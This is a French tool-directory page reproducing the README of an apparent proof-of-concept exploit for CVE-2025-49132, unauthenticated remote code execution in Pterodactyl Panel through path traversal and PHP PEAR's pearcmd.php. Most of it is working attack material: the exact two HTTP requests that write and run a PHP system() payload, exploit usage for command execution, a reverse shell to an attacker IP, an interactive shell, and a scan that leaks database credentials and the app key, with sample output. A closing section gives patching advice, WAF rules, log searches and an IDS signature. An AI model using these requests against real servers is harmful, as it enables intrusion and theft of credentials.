Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
Outils/GitHubGitHub/rippsec/cve-2025-49132-php-pear
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

Voir le dépôt
317il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-49132 : RCE non authentifiée sur Pterodactyl Panel via la méthode PHP PEAR

CVSSv3 License Python

Table des matières

  • Vue d'ensemble
  • Détails de la vulnérabilité
  • Analyse technique
  • Déroulement de l'exploit
  • Installation
  • Utilisation
  • Exemples
  • Atténuation
  • Avertissement
  • Références
  • Auteur

Vue d'ensemble

Ce dépôt contient un exploit de preuve de concept (PoC) pour CVE-2025-49132, une vulnérabilité critique d'exécution de code à distance non authentifiée dans Pterodactyl Panel versions antérieures à 1.11.11.

Pterodactyl Panel est un panneau de gestion de serveurs de jeux gratuit et open source développé en PHP. La vulnérabilité permet à un attaquant non authentifié d'exécuter des commandes système arbitraires sur le serveur cible via une gestion inappropriée du point de terminaison combinée à la fonctionnalité de PHP PEAR.

Télécharger l’outil
/locales/locale.json
pearcmd.php

Résumé de la vulnérabilité

  • Identifiant CVE : CVE-2025-49132
  • Score CVSS : 10.0 (Critique)
  • Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE : CWE-94 : Contrôle inadéquat de la génération de code (« Injection de code »)
  • Versions concernées : Pterodactyl Panel < 1.11.11
  • Complexité d'attaque : Faible
  • Privilèges requis : Aucun (non authentifié)
  • Interaction utilisateur : Aucune

Détails de la vulnérabilité

Qu'est-ce que PHP PEAR ?

PHP PEAR (PHP Extension and Application Repository) est un framework et un système de distribution pour des composants PHP réutilisables. Il fournit un outil en ligne de commande (pearcmd.php) qui peut être utilisé pour gérer les paquets PEAR.

Le fichier pearcmd.php traite des commandes via des paramètres d'URL et, lorsqu'il est combiné à une traversée de chemin (path traversal), il peut être exploité pour :

  1. Créer des fichiers PHP arbitraires sur le système
  2. Exécuter ces fichiers via le serveur web

Cause racine

La vulnérabilité existe parce que :

  1. Traversée de chemin non validée : le paramètre locale dans /locales/locale.json permet une traversée de chemin sans validation appropriée
  2. Inclusion directe de fichier : l'application inclut directement des fichiers sur la base d'une entrée contrôlée par l'utilisateur
  3. Injection de commande PEAR : le script pearcmd.php accepte la commande +config-create qui peut écrire des fichiers PHP arbitraires
  4. Accès non authentifié : le point de terminaison vulnérable n'exige pas d'authentification

Vecteur d'attaque

Un attaquant peut :

  1. Utiliser la traversée de chemin pour atteindre le répertoire d'installation de PEAR
  2. Abuser de la commande config-create pour écrire du code PHP malveillant dans /tmp
  3. Exécuter le fichier PHP malveillant via le même point de terminaison
  4. Obtenir une exécution de code à distance complète en tant qu'utilisateur du serveur web

Analyse technique

Processus d'exploitation

L'exploit fonctionne en deux étapes :

Étape 1 : Création du payload

root@kitploit:~
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

Détail :

  • +config-create+/ — Appelle la fonctionnalité de création de configuration de PEAR
  • locale=../../../../../../usr/share/php/PEAR — Traversée de chemin vers le répertoire PEAR
  • namespace=pearcmd — Cible le fichier pearcmd.php
  • <?=system('id')?>+/tmp/payload.php — Payload PHP et fichier de destination

Étape 2 : Exécution du payload

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

Détail :

  • locale=../../../../../../tmp — Traversée de chemin vers le répertoire /tmp
  • namespace=payload — Inclut et exécute payload.php

Pourquoi l'encodage d'URL casse l'exploit

L'exploit nécessite l'envoi de caractères spéciaux (<, >, ?, =) dans l'URL sans les encoder. Si ces caractères sont encodés en URL :

  • <?=system('id')?> devient %3C%3F%3Dsystem%28%27id%27%29%3F%3E
  • PEAR l'interprète comme du texte littéral au lieu de code PHP
  • Les balises PHP ne sont pas reconnues, ce qui empêche l'exécution de code

Déroulement de l'exploit

root@kitploit:~
graph TD
    A[Attacker] -->|1. Path Traversal Request| B[locale.json]
    B -->|2. Traverse to PEAR| C[pearcmd.php]
    C -->|3. config-create Command| D[Write PHP Payload]
    D -->|4. Create File| E[payload.php]
    E -->|5. File Created| F[Server Filesystem]
    
    A -->|6. Execution Request| G[locale.json]
    G -->|7. Traverse to tmp| E
    E -->|8. Include and Execute| H[PHP Interpreter]
    H -->|9. System Command| I[Shell Command]
    I -->|10. Command Output| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

Schéma du flux d'attaque

root@kitploit:~
sequenceDiagram
    participant Attacker
    participant Web Server
    participant PEAR
    participant Filesystem
    participant PHP Engine
    
    Attacker->>Web Server: GET locale.json with config-create
    Web Server->>PEAR: Path Traversal to pearcmd
    PEAR->>Filesystem: Create payload.php
    Filesystem-->>Attacker: 200 OK
    
    Attacker->>Web Server: GET locale.json with payload namespace
    Web Server->>Filesystem: Path Traversal to payload.php
    Filesystem->>PHP Engine: Include payload
    PHP Engine->>PHP Engine: Execute system command
    PHP Engine-->>Attacker: Command Output RCE

Installation

Prérequis

  • Python 3.6 ou version ultérieure
  • bibliothèque requests

Cloner le dépôt

root@kitploit:~
git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

Installer les dépendances

root@kitploit:~
pip3 install -r requirements.txt

Ou manuellement :

root@kitploit:~
pip3 install requests

Utilisation

Exécution de commande de base

root@kitploit:~
python3 poc.py -H <target_host> -c "<command>"

Reverse shell

root@kitploit:~
# Sur la machine de l'attaquant, démarrer un écouteur
nc -lvnp 4444

# Exécuter l'exploit avec le reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444

Pseudo-shell interactif

root@kitploit:~
python3 poc.py -H <target_host> --shell

Fuzzing des installations PEAR

root@kitploit:~
python3 poc.py -H <target_host> --fuzz

Scan de vulnérabilité

root@kitploit:~
python3 poc.py -H <target_host> --scan

Vérifie la présence de CVE-2025-49132 via les fuites de configuration (identifiants de base de données, clé d'application).

Chemin PEAR personnalisé

root@kitploit:~
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

Sortie détaillée

root@kitploit:~
python3 poc.py -H <target_host> -c "id" -v

Affiche la progression détaillée (création du payload, chemin PEAR, statut d'exécution).

Options complètes

root@kitploit:~
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Target host (e.g., 192.168.1.100 or example.com)
  -c COMMAND            Command to execute on target system
  -r REVERSE_SHELL      Reverse shell (format: LHOST:LPORT)
  --shell               Interactive pseudo-shell mode
  --fuzz                Fuzz for PEAR installation paths
  --scan                Scan target for vulnerability (config leaks)
  -p PEAR_PATH          Custom PEAR path (default: /usr/share/php/PEAR)
  -e ENDPOINT           Vulnerable endpoint (default: /locales/locale.json)
  --ssl                 Use HTTPS
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  -v, --verbose         Verbose progress output

Exemples

Exemple 1 : Exécution de commande de base

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR

[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Utilisez -v pour une sortie détaillée (détails du payload, chemin PEAR, etc.).

Exemple 2 : Reverse shell

root@kitploit:~
# Terminal 1 : démarrer l'écouteur
$ nc -lvnp 4444
listening on [any] 4444 ...

# Terminal 2 : exécuter l'exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] Assurez-vous que votre écouteur est actif : nc -lvnp 4444

# Terminal 1 : recevoir la connexion
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

Exemple 3 : Pseudo-shell interactif

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl

shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> exit

Exemple 4 : Fuzzing du chemin PEAR

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --fuzz

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[+] 3 installation(s) PEAR potentielle(s) trouvée(s) :
    /usr/share/php/PEAR
    /usr/share/pear
    /usr/local/lib/php/PEAR
[*] Utilisez l'option -p avec l'un de ces chemins pour l'exploitation

Utilisez -v pour voir la progression du fuzzing pour chaque chemin.

Exemple 5 : Scanner de vulnérabilité

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --scan

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[*] Scan en cours : http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNÉRABLE — Identifiants de base de données divulgués
    Hôte :     127.0.0.1
    Port :     3306
    Base de données : panel
    Nom d'utilisateur : pterodactyl
    Mot de passe : ********
    Connexion : pterodactyl:********@127.0.0.1:3306/panel
[+] VULNÉRABLE — Configuration de l'application divulguée
    Clé d'application : base64{...}
    [!] ALERTE DE SÉCURITÉ : APP_KEY exposée !
-------------------------------------------------------
[+] La cible est VULNÉRABLE à CVE-2025-49132

Atténuation

Actions immédiates

  1. Mettre à jour Pterodactyl Panel

    root@kitploit:~
    cd /var/www/pterodactyl
    php artisan p:upgrade
    

    Mettez à jour vers la version 1.11.11 ou une version ultérieure.

  2. Désactiver le point de terminaison vulnérable (contournement temporaire)

    Ajoutez à la configuration de votre serveur web :

    Apache (.htaccess) :

    root@kitploit:~
    <Files "locale.json">
        Order Allow,Deny
        Deny from all
    </Files>
    

    Nginx :

    root@kitploit:~
    location ~* /locales/locale\.json {
        deny all;
        return 403;
    }
    

    Remarque : cela cassera les fonctionnalités de localisation.

  3. Pare-feu d'application web (WAF)

    Implémentez des règles WAF pour bloquer les tentatives de traversée de chemin :

    root@kitploit:~
    SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
    SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
    

Solutions à long terme

  1. Validation des entrées : implémentez une validation stricte pour les paramètres locale et namespace
  2. Assainissement des chemins : utilisez realpath() pour résoudre et valider les chemins de fichiers
  3. Approche par liste blanche : n'autorisez que des valeurs de locale spécifiques et prédéfinies
  4. Authentification : exigez une authentification pour les points de terminaison de locale
  5. Audits de sécurité : évaluations de sécurité régulières et tests d'intrusion

Détection

Analyse des journaux — Recherchez des motifs suspects :

root@kitploit:~
# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log

# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1

Signatures IDS/IPS :

root@kitploit:~
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt"; 
  content:"/locales/locale.json"; http_uri; 
  content:"pearcmd"; http_uri; 
  content:"config-create"; http_uri; 
  sid:1000001; rev:1;)

Avertissement

UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST AUTORISÉ

Cet exploit de preuve de concept est fourni à des fins éducatives et de test de sécurité autorisé uniquement. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce programme.

Avis légal

  • ✅ À FAIRE : utilisez cet outil pour des tests d'intrusion autorisés et des recherches en sécurité
  • ✅ À FAIRE : utilisez cet outil sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester
  • ✅ À FAIRE : utilisez cet outil pour vérifier les correctifs et les contrôles de sécurité
  • ❌ À NE PAS FAIRE : n'utilisez pas cet outil contre des systèmes sans autorisation explicite
  • ❌ À NE PAS FAIRE : n'utilisez pas cet outil à des fins malveillantes
  • ❌ À NE PAS FAIRE : ne déployez pas cet outil dans des environnements de production sans contrôles appropriés

L'accès non autorisé à des systèmes informatiques est illégal. Les utilisateurs sont responsables du respect des lois et réglementations applicables.

Références

  • CVE-2025-49132 — NVD
  • Avis GitHub : GHSA-24wv-6c99-f843
  • Avis de sécurité de Pterodactyl Panel
  • Documentation PHP PEAR
  • CWE-94 : Injection de code

Auteur

xffsec

Contact
GitHub : @xffsec
E-mail : [email protected]

Licence

Ce projet est sous licence MIT — voir le fichier LICENSE pour plus de détails.

Contribution

Les contributions, les signalements de problèmes et les demandes de fonctionnalités sont les bienvenus ! N'hésitez pas à ouvrir un problème (issue) ou à soumettre une demande de tirage (pull request).

Remerciements

  • L'équipe de développement de Pterodactyl Panel pour son processus de divulgation responsable
  • La communauté de recherche en sécurité
  • HackTheBox pour avoir fourni un environnement sûr permettant de pratiquer ces techniques

⚠️ Rappel : pratiquez toujours la divulgation responsable et n'exploitez jamais les vulnérabilités sans autorisation appropriée.